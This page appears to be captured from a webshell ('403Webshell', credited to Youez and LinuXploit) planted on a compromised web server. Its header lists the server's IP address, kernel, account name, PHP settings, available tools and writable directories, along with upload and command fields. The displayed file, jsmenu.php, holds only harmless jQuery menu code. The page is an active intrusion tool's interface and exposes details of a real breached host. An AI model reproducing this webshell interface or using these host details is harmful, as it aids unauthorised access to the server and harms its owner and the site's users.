403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/www/controle/apagar/views/sistema/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/www/controle/apagar/views/sistema/jsmenu.php
<?php if ( ! defined('ABSPATH')) exit; ?>

<script type="text/javascript" src="<?php echo HOME_URI;?>/views/_js/jquery.nestable/jquery.nestable.js"></script>
<!--<script type="text/javascript">

    $('.dd').nestable({
    maxDepth        : 2,
    dropCallback: function(details) {
        getNestable(details); // this is doing an ajax call
    }
    });
    //Watch for list changes and show serialized output
    function update_out(selector, sel2){
      var out = $(selector).nestable('serialize');
      $(sel2).html(window.JSON.stringify(out));   
      
    }
    
    update_out('#list1',"#out1");
    update_out('#list2',"#out2");
    
    $('#list1').on('change', function() {
      update_out('#list1',"#out1");
      
    });
    
    $('#list2').on('change', function() {
      update_out('#list2',"#out2");
    });
</script>-->

<script>

$(document).ready(function()
{

    var updateOutput = function(e)
    {
        var list   = e.length ? e : $(e.target),
            output = list.data('output');
        if (window.JSON) {
            output.val(window.JSON.stringify(list.nestable('serialize')));//, null, 2));			
        } else {
            output.val('JSON browser support required for this demo.');
        }
    };
	


    // activate Nestable for list 1
    $('#nestable').nestable({
        maxDepth: 2,
        group: 1
    })
    .on('change', updateOutput);
    
    // activate Nestable for list 2
    $('#nestable2').nestable({
        maxDepth: 2,
        group: 1
    })
    .on('change', updateOutput);

    // output initial serialised data
    updateOutput($('#nestable').data('output', $('#nestable-output')));
    updateOutput($('#nestable2').data('output', $('#nestable2-output')));

    $('#nestable-menu').on('click', function(e)
    {
        var target = $(e.target),
            action = target.data('action');
        if (action === 'expand-all') {
            $('.dd').nestable('expandAll');
        }
        if (action === 'collapse-all') {
            $('.dd').nestable('collapseAll');
        } 
		
		 if (action === 'save-all') {
           // $('.dd').nestable('collapseAll');
		   alert('hello');
        } 
		
		
    });

    $('#nestable3').nestable();

});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit